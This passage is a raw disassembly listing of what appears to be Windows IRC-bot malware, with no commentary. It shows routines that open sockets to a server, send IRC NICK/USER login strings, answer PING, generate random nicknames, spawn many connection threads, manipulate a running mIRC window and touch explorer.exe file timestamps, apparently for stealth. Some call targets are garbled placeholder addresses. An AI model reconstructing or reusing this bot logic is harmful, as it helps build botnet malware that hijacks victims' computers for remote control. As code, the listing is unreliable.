ebx, offset dword_4D3CC0 mov edi, 200h mov esi, offset dword_4D32C0 loc_417630: ; CODE XREF: sub_4175EA+FAj mov eax, dword_4D46D8 add eax, eax push eax push dword_4D46E0 push [ebp+var_14] call sub_41C310 add esp, 0Ch lea eax, [ebp+var_18] push eax push [ebp+var_C] call dword_4D44C4 mov eax, dword_4D46D8 and [ebp+var_10], 0 mov ecx, [ebp+var_14] mov [ebp+var_8], 1 test eax, eax jbe short loc_4176A5 loc_41766D: ; CODE XREF: sub_4175EA+B3j cmp [ebp+var_8], 0 jz short loc_4176C2 mov dl, [ecx] test dl, dl mov [ebp+var_1], dl jz short loc_417691 cmp byte ptr [ecx+1], 0 jnz short loc_417691 cmp dl, 20h jnb short loc_41768B and [ebp+var_8], 0 loc_41768B: ; CODE XREF: sub_4175EA+9Bj cmp [ebp+var_1], 7Eh jbe short loc_417695 loc_417691: ; CODE XREF: sub_4175EA+90j ; sub_4175EA+96j and [ebp+var_8], 0 loc_417695: ; CODE XREF: sub_4175EA+A5j inc ecx inc ecx inc [ebp+var_10] cmp [ebp+var_10], eax jb short loc_41766D cmp [ebp+var_8], 0 jz short loc_4176C2 loc_4176A5: ; CODE XREF: sub_4175EA+81j push [ebp+var_14] push offset dword_4D34C0 push ebx push [ebp+arg_0] push offset dword_438244 push edi push esi call sub_41B980 add esp, 1Ch jmp short loc_4176DA ; --------------------------------------------------------------------------- loc_4176C2: ; CODE XREF: sub_4175EA+87j ; sub_4175EA+B9j push offset dword_4D34C0 push ebx push [ebp+arg_0] push offset dword_438294 push edi push esi call sub_41B980 add esp, 18h loc_4176DA: ; CODE XREF: sub_4175EA+D6j inc [ebp+var_C] cmp [ebp+var_C], 0FFh jbe loc_417630 push [ebp+var_14] push 0 call near ptr 27A0BE2h nop push eax call near ptr 2790000h nop mov eax, esi pop edi pop esi pop ebx leave retn sub_4175EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417703 proc near ; CODE XREF: sub_4178BB+2Fp var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_4CB6D4 mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_41777F push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_4CB654 push [ebp+arg_0] mov [ebp+var_E], ax call dword_4CB694 cmp eax, esi jnz short loc_417764 push [ebp+arg_0] call dword_4CB6D8 test eax, eax jz short loc_41777F mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_417764: ; CODE XREF: sub_417703+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_4CB5FC cmp eax, esi jnz short loc_417783 push edi call dword_4CB6EC loc_41777F: ; CODE XREF: sub_417703+1Bj ; sub_417703+58j mov eax, esi jmp short loc_417785 ; --------------------------------------------------------------------------- loc_417783: ; CODE XREF: sub_417703+73j mov eax, edi loc_417785: ; CODE XREF: sub_417703+7Ej pop edi pop esi leave retn sub_417703 endp ; =============== S U B R O U T I N E ======================================= sub_417789 proc near ; CODE XREF: sub_401ACD+3295p ; sub_401ACD+3301p ... arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] push offset asc_42A0A0 ; "\n" push edi call sub_41BEC0 pop ecx mov esi, offset dword_4D46EC pop ecx loc_4177A1: ; CODE XREF: sub_417789+42j cmp dword ptr [esi-4], 1 jnz short loc_4177BF cmp dword ptr [esi], 0 jbe short loc_4177BF push 0 push edi call sub_41AFE0 pop ecx push eax push edi push dword ptr [esi] call dword_4CB6A4 loc_4177BF: ; CODE XREF: sub_417789+1Cj ; sub_417789+21j add esi, 210h cmp esi, offset dword_4DAE0C jl short loc_4177A1 pop edi pop esi retn sub_417789 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4177D0 proc near ; CODE XREF: sub_4178BB+155p var_420 = byte ptr -420h var_220 = byte ptr -220h var_20 = dword ptr -20h var_1C = dword ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 420h push ebx push esi mov esi, offset asc_42D124 ; " " push edi push esi push [ebp+arg_0] call sub_41C0F4 pop ecx mov [ebp+var_20], eax pop ecx lea edi, [ebp+var_1C] push 7 pop ebx loc_4177F5: ; CODE XREF: sub_4177D0+35j push esi push 0 call sub_41C0F4 mov [edi], eax pop ecx add edi, 4 dec ebx pop ecx jnz short loc_4177F5 mov esi, [ebp+var_1C] xor edi, edi cmp [ebp+var_20], edi jnz short loc_41781D cmp esi, edi jnz short loc_41781D push 1 pop eax jmp loc_4178B6 ; --------------------------------------------------------------------------- loc_41781D: ; CODE XREF: sub_4177D0+3Fj ; sub_4177D0+43j push [ebp+var_20] push offset aPing ; "PING" call sub_41C070 pop ecx pop ecx test eax, eax push esi jnz short loc_417838 push offset dword_438EA4 jmp short loc_417886 ; --------------------------------------------------------------------------- loc_417838: ; CODE XREF: sub_4177D0+5Fj push offset a433 ; "433" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_417859 push esi push offset dword_438EA0 call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4178B4 loc_417859: ; CODE XREF: sub_4177D0+76j push 200h lea eax, [ebp+var_420] push edi push eax call sub_41B590 lea eax, [ebp+var_420] push eax call sub_417ADE add esp, 10h lea eax, [ebp+var_420] push eax push offset dword_438E94 loc_417886: ; CODE XREF: sub_4177D0+66j lea eax, [ebp+var_220] push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_220] push edi push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_220] push eax push [ebp+arg_4] call dword_4CB6A4 loc_4178B4: ; CODE XREF: sub_4177D0+87j xor eax, eax loc_4178B6: ; CODE XREF: sub_4177D0+48j pop edi pop esi pop ebx leave retn sub_4177D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4178BB proc near ; DATA XREF: sub_417A60+61o var_4008 = byte ptr -4008h var_3008 = byte ptr -3008h var_2008 = byte ptr -2008h var_1008 = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 4008h call sub_41BB20 push ebx push esi mov esi, [ebp+arg_0] push edi imul esi, 210h push 1 pop edi lea eax, dword_4D46F4[esi] mov dword_4D46E8[esi], edi push dword_4D48F4[esi] push eax call sub_417703 pop ecx xor ebx, ebx cmp eax, edi pop ecx mov dword_4D46EC[esi], eax jb loc_417A40 mov edi, 1000h lea eax, [ebp+var_2008] push edi push ebx push eax call sub_41B590 lea eax, [ebp+var_2008] push eax call sub_417ADE lea eax, [ebp+var_4008] push eax call sub_417ADE lea eax, [ebp+var_3008] push eax call sub_417ADE add esp, 18h lea eax, [ebp+var_3008] push eax lea eax, [ebp+var_4008] push eax lea eax, [ebp+var_2008] push eax lea eax, [ebp+var_1008] push offset aNickSUserSHotm ; "NICK %s\nUSER %s \"hotmail.com\" \"127.0.0."... push eax call sub_41B886 add esp, 14h lea eax, [ebp+var_1008] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_1008] push eax push dword_4D46EC[esi] call dword_4CB6A4 push edi lea eax, [ebp+var_1008] push ebx push eax call sub_41B590 add esp, 0Ch loc_417997: ; CODE XREF: sub_4178BB+111j ; sub_4178BB+180j push edi lea eax, [ebp+var_1008] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_1008] push ebx push edi push eax push dword_4D46EC[esi] call dword_4CB66C cmp eax, ebx mov [ebp+var_8], eax jle short loc_417A40 xor eax, eax cmp [ebp+var_8], ebx mov [ebp+var_4], eax jz short loc_417997 loc_4179CE: ; CODE XREF: sub_4178BB+17Ej mov al, [ebp+eax+var_1008] cmp al, 0Dh jz short loc_4179F5 cmp al, 0Ah jz short loc_4179F5 cmp [ebp+arg_0], 0FA0h jz short loc_4179F5 mov ecx, [ebp+arg_0] inc [ebp+arg_0] mov [ebp+ecx+var_2008], al jmp short loc_417A2F ; --------------------------------------------------------------------------- loc_4179F5: ; CODE XREF: sub_4178BB+11Cj ; sub_4178BB+120j ... mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_417A2F push dword_4D46EC[esi] mov [ebp+eax+var_2008], bl lea eax, [ebp+var_2008] push eax call sub_4177D0 pop ecx test eax, eax pop ecx ja short loc_417A40 push edi lea eax, [ebp+var_2008] push ebx push eax call sub_41B590 add esp, 0Ch mov [ebp+arg_0], ebx loc_417A2F: ; CODE XREF: sub_4178BB+138j ; sub_4178BB+13Fj mov eax, [ebp+var_4] inc eax cmp eax, [ebp+var_8] mov [ebp+var_4], eax jnz short loc_4179CE jmp loc_417997 ; --------------------------------------------------------------------------- loc_417A40: ; CODE XREF: sub_4178BB+40j ; sub_4178BB+107j ... mov dword_4D46E8[esi], ebx mov esi, dword_4D46EC[esi] cmp esi, ebx jbe short loc_417A57 push esi call dword_4CB6EC loc_417A57: ; CODE XREF: sub_4178BB+193j pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_4178BB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417A60 proc near ; CODE XREF: sub_401ACD+31E2p var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp [ebp+arg_8], ebx push esi push edi mov [ebp+var_4], ebx jle short loc_417AD9 loc_417A72: ; CODE XREF: sub_417A60+77j xor edi, edi mov eax, offset dword_4D46E8 loc_417A79: ; CODE XREF: sub_417A60+28j cmp [eax], ebx jz short loc_417A8A add eax, 210h inc edi cmp eax, offset dword_4DAE08 jl short loc_417A79 loc_417A8A: ; CODE XREF: sub_417A60+1Bj cmp edi, 31h jz short loc_417AD9 mov esi, edi push [ebp+arg_0] imul esi, 210h lea eax, dword_4D46F4[esi] push eax call sub_41BEB0 mov eax, [ebp+arg_4] pop ecx mov dword_4D48F4[esi], eax pop ecx lea eax, [ebp+var_8] mov dword_4D46E8[esi], 1 push eax push ebx push edi push offset sub_4178BB push ebx push ebx nop call near ptr 2680098h inc [ebp+var_4] mov eax, [ebp+var_4] cmp eax, [ebp+arg_8] jl short loc_417A72 loc_417AD9: ; CODE XREF: sub_417A60+10j ; sub_417A60+2Dj pop edi pop esi pop ebx leave retn sub_417A60 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417ADE proc near ; CODE XREF: sub_401ACD+374Ep ; sub_401ACD+3794p ... var_40 = byte ptr -40h var_2D = byte ptr -2Dh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_18 = qword ptr -18h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 40h push 14h lea eax, [ebp+var_2C] push 0 push eax call sub_41B590 add esp, 0Ch call sub_41B8E2 mov [ebp+var_C], eax fild [ebp+var_C] fmul dbl_4276F0 call sub_41C798 cmp eax, 1 jnz short loc_417B28 call sub_41B8E2 call sub_41B8E2 push 66h cdq pop ecx idiv ecx push off_4385E8[edx*4] jmp short loc_417B41 ; --------------------------------------------------------------------------- loc_417B28: ; CODE XREF: sub_417ADE+2Fj call sub_41B8E2 call sub_41B8E2 cdq mov ecx, 0C0h idiv ecx push off_4382E8[edx*4] loc_417B41: ; CODE XREF: sub_417ADE+48j lea eax, [ebp+var_2C] push eax call sub_41BEB0 pop ecx lea eax, [ebp+var_2C] pop ecx push ebx push esi push edi push eax call sub_41AFE0 pop ecx mov esi, eax push 13h mov [ebp+var_4], esi pop eax sub eax, esi mov [ebp+var_C], eax call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276E8 call sub_41C798 mov ebx, eax call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul dbl_4276E0 call sub_41C798 cmp esi, 2 mov edi, offset a__0 ; "-|`_\\{[]}" jle short loc_417BB4 cmp esi, 3 jnz short loc_417BAB cmp ebx, 1 jz short loc_417BB4 loc_417BAB: ; CODE XREF: sub_417ADE+C6j cmp eax, 1 jnz loc_417C6E loc_417BB4: ; CODE XREF: sub_417ADE+C1j ; sub_417ADE+CBj call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D8 call sub_41C798 push off_4385E8[eax*4] lea eax, [ebp+var_40] push eax call sub_41BEB0 movsx eax, [ebp+esi+var_2D] lea ebx, [ebp+esi+var_2C] push eax push edi call sub_41BFB0 add esp, 10h test eax, eax jnz short loc_417C5B movsx eax, [ebp+var_40] push eax push edi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz short loc_417C5B call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax dec esi fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], esi fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276E0 call sub_41C798 cmp eax, 1 jnz short loc_417C5B push edi call sub_41AFE0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-8] call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-8] fmul dbl_4276E0 call sub_41C798 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebx], al loc_417C5B: ; CODE XREF: sub_417ADE+111j ; sub_417ADE+122j ... push [ebp+var_C] lea eax, [ebp+var_40] push eax lea eax, [ebp+var_2C] push eax call sub_41C1E0 add esp, 0Ch loc_417C6E: ; CODE XREF: sub_417ADE+D0j lea eax, [ebp+var_2C] push eax call sub_41AFE0 mov esi, eax movsx eax, [ebp+esi+var_2D] lea ebx, [ebp+esi+var_2C] push eax mov [ebp+var_4], esi call sub_41D648 pop ecx test eax, eax pop ecx jnz loc_417ED6 and [ebp+var_C], eax movsx eax, byte ptr [ebx-1] push eax push edi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz loc_417DCD call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax lea eax, [esi+3] fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276E0 call sub_41C798 cmp esi, 3 jz short loc_417CDC cmp eax, 1 jnz loc_417DCD loc_417CDC: ; CODE XREF: sub_417ADE+1F3j push 2 cdq pop ecx idiv ecx cmp edx, 1 jnz short loc_417D1E push edi call sub_41AFE0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-10h] call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-10h] fmul dbl_4276E0 call sub_41C798 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebx], al jmp short loc_417D3A ; --------------------------------------------------------------------------- loc_417D1E: ; CODE XREF: sub_417ADE+207j call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D0 call sub_41C798 mov cl, 41h sub cl, al mov [ebx], cl loc_417D3A: ; CODE XREF: sub_417ADE+23Ej push 1 inc esi pop ebx mov [ebp+var_4], esi mov [ebp+var_C], ebx call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276C8 call sub_41C798 cmp esi, 3 jz short loc_417D63 cmp eax, ebx jnz short loc_417DCD loc_417D63: ; CODE XREF: sub_417ADE+27Fj push 2 pop ebx cdq mov ecx, ebx idiv ecx test edx, edx jnz short loc_417DA8 push edi call sub_41AFE0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-10h] call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-10h] fmul dbl_4276E0 call sub_41C798 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebp+esi+var_2C], al jmp short loc_417DC6 ; --------------------------------------------------------------------------- loc_417DA8: ; CODE XREF: sub_417ADE+28Fj call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D0 call sub_41C798 mov cl, 41h sub cl, al mov [ebp+esi+var_2C], cl loc_417DC6: ; CODE XREF: sub_417ADE+2C8j inc esi mov [ebp+var_C], ebx mov [ebp+var_4], esi loc_417DCD: ; CODE XREF: sub_417ADE+1C9j ; sub_417ADE+1F8j ... cmp esi, 6 jge loc_417E56 cmp esi, 5 jge short loc_417DEE call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276E8 jmp short loc_417E0C ; --------------------------------------------------------------------------- loc_417DEE: ; CODE XREF: sub_417ADE+2FBj call sub_41B8E2 push 8 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] pop eax sub eax, esi mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276E0 loc_417E0C: ; CODE XREF: sub_417ADE+30Ej call sub_41C798 test eax, eax jnz short loc_417E2F call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276C0 call sub_41C798 mov cl, 30h jmp short loc_417E4C ; --------------------------------------------------------------------------- loc_417E2F: ; CODE XREF: sub_417ADE+335j cmp eax, 1 jnz short loc_417E56 call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D0 call sub_41C798 mov cl, 41h loc_417E4C: ; CODE XREF: sub_417ADE+34Fj sub cl, al mov [ebp+esi+var_2C], cl inc esi mov [ebp+var_4], esi loc_417E56: ; CODE XREF: sub_417ADE+2F2j ; sub_417ADE+354j cmp [ebp+var_C], 2 jge short loc_417ED6 call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul dbl_4276E0 call sub_41C798 cmp eax, 1 jnz short loc_417ED6 call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276C0 call sub_41C798 mov cl, 30h sub cl, al mov [ebp+esi+var_2C], cl call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276B8 call sub_41C798 cmp eax, 1 jnz short loc_417ED6 cmp [ebp+var_C], eax jge short loc_417ED6 call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276B0 call sub_41C798 mov cl, 30h sub cl, al mov [ebp+esi+var_2B], cl loc_417ED6: ; CODE XREF: sub_417ADE+1B1j ; sub_417ADE+37Cj ... lea eax, [ebp+var_2C] push 14h push eax push [ebp+arg_0] call sub_41B5F0 mov eax, [ebp+arg_0] add esp, 0Ch pop edi pop esi pop ebx leave retn sub_417ADE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417EEF proc near ; CODE XREF: sub_401ACD+BECp ; sub_401ACD+C29p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] xor esi, esi cmp edi, esi jz short loc_417F7A mov eax, [ebp+arg_4] cmp eax, esi jz short loc_417F7A cmp [ebp+arg_8], esi jz short loc_417F7A cmp byte ptr [eax], 0 jz short loc_417F7A push ebx push edi call sub_426464 mov ebx, eax pop ecx test ebx, ebx jz short loc_417F75 push [ebp+arg_4] push edi call sub_41B900 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_417F6E sub eax, edi push eax push edi push ebx call sub_41B5F0 push [ebp+arg_8] mov eax, ebx sub eax, edi and byte ptr [eax+esi], 0 call sub_41AFE0 push eax push [ebp+arg_8] push ebx call sub_41C1E0 push [ebp+arg_4] call sub_41AFE0 add eax, esi push eax push ebx call sub_41BEC0 push ebx push edi call sub_41BEB0 add esp, 30h mov esi, edi loc_417F6E: ; CODE XREF: sub_417EEF+3Cj push ebx call sub_41B0B1 pop ecx loc_417F75: ; CODE XREF: sub_417EEF+2Bj mov eax, esi pop ebx jmp short loc_417F7C ; --------------------------------------------------------------------------- loc_417F7A: ; CODE XREF: sub_417EEF+Cj ; sub_417EEF+13j ... xor eax, eax loc_417F7C: ; CODE XREF: sub_417EEF+89j pop edi pop esi pop ebp retn sub_417EEF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417F80 proc near ; CODE XREF: sub_401955+E9p ; ___:004102F1p var_7D0 = dword ptr -7D0h var_7CC = byte ptr -7CCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7D0h push ebx push esi push 7D0h lea eax, [ebp+var_7D0] push 0 push eax call sub_41B590 mov esi, [ebp+arg_0] push esi call sub_41AFE0 add esp, 10h push 1 pop ebx cmp eax, ebx jge short loc_417FB6 or eax, 0FFFFFFFFh jmp short loc_418029 ; --------------------------------------------------------------------------- loc_417FB6: ; CODE XREF: sub_417F80+2Fj xor ecx, ecx mov [ebp+var_7D0], esi test eax, eax jle short loc_417FD8 loc_417FC2: ; CODE XREF: sub_417F80+56j mov dl, [ecx+esi] cmp dl, 0Ah jz short loc_417FCF cmp dl, 0Dh jnz short loc_417FD3 loc_417FCF: ; CODE XREF: sub_417F80+48j and byte ptr [ecx+esi], 0 loc_417FD3: ; CODE XREF: sub_417F80+4Dj inc ecx cmp ecx, eax jl short loc_417FC2 loc_417FD8: ; CODE XREF: sub_417F80+40j xor edx, edx push edi test eax, eax jle short loc_418009 lea edi, [ebp+var_7CC] loc_417FE5: ; CODE XREF: sub_417F80+87j cmp byte ptr [edx+esi], 0 jnz short loc_418004 cmp byte ptr [edx+esi+1], 0 lea ecx, [edx+esi+1] jz short loc_418004 cmp ebx, 1F4h jge short loc_418009 mov [edi], ecx inc ebx add edi, 4 loc_418004: ; CODE XREF: sub_417F80+69j ; sub_417F80+74j inc edx cmp edx, eax jl short loc_417FE5 loc_418009: ; CODE XREF: sub_417F80+5Dj ; sub_417F80+7Cj cmp [ebp+arg_4], 0 pop edi jz short loc_418027 lea eax, [ebp+var_7D0] push 7D0h push eax push [ebp+arg_4] call sub_41C310 add esp, 0Ch loc_418027: ; CODE XREF: sub_417F80+8Ej mov eax, ebx loc_418029: ; CODE XREF: sub_417F80+34j pop esi pop ebx leave retn sub_417F80 endp ; =============== S U B R O U T I N E ======================================= sub_41802D proc near ; CODE XREF: sub_418087+33p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi mov edi, [esp+8+arg_8] mov ecx, 1F4h xor esi, esi rep stosd lea edi, [eax-1] test edi, edi jl short loc_418066 push ebx mov ebx, edi loc_41804A: ; CODE XREF: sub_41802D+36j mov eax, [esp+0Ch+arg_0] mov al, [esi+eax] push eax call sub_418069 pop ecx inc esi mov ecx, [esp+0Ch+arg_8] mov [ecx+eax*4], ebx dec ebx cmp esi, edi jle short loc_41804A pop ebx loc_418066: ; CODE XREF: sub_41802D+18j pop edi pop esi retn sub_41802D endp ; =============== S U B R O U T I N E ======================================= sub_418069 proc near ; CODE XREF: sub_41802D+25p ; sub_418087+6Bp arg_0 = byte ptr 4 movsx eax, [esp+arg_0] push eax call sub_41D74C cmp al, 61h pop ecx jl short loc_418084 cmp al, 7Ah jg short loc_418084 movsx eax, al sub eax, 60h retn ; --------------------------------------------------------------------------- loc_418084: ; CODE XREF: sub_418069+Ej ; sub_418069+12j xor eax, eax retn sub_418069 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418087 proc near ; CODE XREF: ___:0041532Ep var_100C = dword ptr -100Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 100Ch call sub_41BB20 push ebx push esi push edi push [ebp+arg_0] call sub_41AFE0 push [ebp+arg_4] mov [ebp+var_4], eax call sub_41AFE0 mov esi, eax lea eax, [ebp+var_100C] push eax push esi push [ebp+arg_4] mov [ebp+var_C], esi call sub_41802D add esp, 14h dec esi mov edi, esi loc_4180C5: ; CODE XREF: sub_418087+B6j test esi, esi jle short loc_418143 mov eax, [ebp+arg_4] movsx eax, byte ptr [esi+eax] push eax call sub_41D74C mov ebx, eax mov eax, [ebp+arg_0] movsx eax, byte ptr [edi+eax] push eax call sub_41D74C pop ecx cmp eax, ebx pop ecx jz short loc_41813B loc_4180EB: ; CODE XREF: sub_418087+B2j mov ebx, [ebp+arg_0] mov al, [edi+ebx] push eax call sub_418069 mov edx, [ebp+var_C] mov eax, [ebp+eax*4+var_100C] pop ecx mov ecx, edx sub ecx, esi cmp ecx, eax jle short loc_41810C mov eax, ecx loc_41810C: ; CODE XREF: sub_418087+81j add edi, eax cmp edi, [ebp+var_4] jge short loc_41813F mov eax, [ebp+arg_4] lea esi, [edx-1] movsx eax, byte ptr [esi+eax] push eax call sub_41D74C mov edx, eax movsx eax, byte ptr [edi+ebx] push eax mov [ebp+var_8], edx call sub_41D74C pop ecx pop ecx mov ecx, [ebp+var_8] cmp eax, ecx jnz short loc_4180EB loc_41813B: ; CODE XREF: sub_418087+62j dec edi dec esi jmp short loc_4180C5 ; --------------------------------------------------------------------------- loc_41813F: ; CODE XREF: sub_418087+8Aj xor eax, eax jmp short loc_418148 ; --------------------------------------------------------------------------- loc_418143: ; CODE XREF: sub_418087+40j mov eax, [ebp+arg_0] add eax, edi loc_418148: ; CODE XREF: sub_418087+BAj pop edi pop esi pop ebx leave retn sub_418087 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41814D proc near ; CODE XREF: sub_401ACD+67A4p ; sub_401ACD+789Fp var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 100h push esi nop call near ptr 2680ABEh mov esi, eax push 0 lea eax, [ebp+var_100] push 100h push eax push 400h push esi push 0 push 1200h nop call near ptr 27C0000h lea eax, [ebp+var_100] loc_418186: ; CODE XREF: sub_41814D+46j mov cl, [eax] cmp cl, 1Fh jg short loc_418192 cmp cl, 9 jnz short loc_418195 loc_418192: ; CODE XREF: sub_41814D+3Ej inc eax jmp short loc_418186 ; --------------------------------------------------------------------------- loc_418195: ; CODE XREF: sub_41814D+43j ; sub_41814D+5Bj ... and byte ptr [eax], 0 dec eax lea ecx, [ebp+var_100] cmp eax, ecx jb short loc_4181AF mov cl, [eax] cmp cl, 2Eh jz short loc_418195 cmp cl, 21h jl short loc_418195 loc_4181AF: ; CODE XREF: sub_41814D+54j lea eax, [ebp+var_100] push esi push eax mov esi, offset dword_4DAE0C push [ebp+arg_0] push offset aSErrorSD_ ; "%s Error: %s <%d>." push 200h push esi call sub_41B980 add esp, 18h mov eax, esi pop esi leave retn sub_41814D endp ; =============== S U B R O U T I N E ======================================= sub_4181D7 proc near ; CODE XREF: sub_401ACD+24CBp push esi push 0 call dword_4CB624 test eax, eax jz short loc_41820E push 1 call dword_4CB644 mov esi, eax test esi, esi jz short loc_41820E push edi push esi nop call near ptr 27D06C5h push esi mov edi, eax nop call near ptr 27D0000h call dword_4CB6A8 mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_41820E: ; CODE XREF: sub_4181D7+Bj ; sub_4181D7+19j xor eax, eax pop esi retn sub_4181D7 endp ; =============== S U B R O U T I N E ======================================= sub_418212 proc near ; CODE XREF: sub_401ACD+7662p arg_0 = dword ptr 4 push ebp push esi push edi xor esi, esi mov edi, offset aMirc_0 ; "mIRC" push esi push edi call dword_4CB660 mov ebp, eax cmp ebp, esi jz short loc_41828E push ebx push edi push 1000h push esi push 4 push esi push 0FFFFFFFFh nop call near ptr 27E052Fh push esi push esi mov edi, eax push esi push 0F001Fh push edi nop call near ptr 27E0371h push [esp+10h+arg_0] mov ebx, eax push ebx call sub_41B886 pop ecx pop ecx push esi push 1 push 4C8h push ebp call dword_4CB6B0 push esi push 1 push 4C9h push ebp call dword_4CB6B0 push ebx call near ptr 27E0000h nop push edi call near ptr 2660919h nop push 1 pop eax pop ebx jmp short loc_418290 ; --------------------------------------------------------------------------- loc_41828E: ; CODE XREF: sub_418212+16j xor eax, eax loc_418290: ; CODE XREF: sub_418212+7Aj pop edi pop esi pop ebp retn sub_418212 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418294 proc near ; CODE XREF: ___:00401433p var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch push ebx push esi xor esi, esi push edi lea eax, [ebp+var_11C] push esi push eax push 104h push esi push offset aExplorer_exe ; "explorer.exe" push esi call dword_4CB710 test eax, eax jz short loc_418333 mov edi, 80h push esi push edi push 3 push esi mov esi, dword_4270EC push 1 lea eax, [ebp+var_11C] push 80000000h push eax call esi mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_418333 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push ebx nop call near ptr 27F0757h push ebx mov ebx, dword_427068 call ebx push 0 push edi push 3 push 0 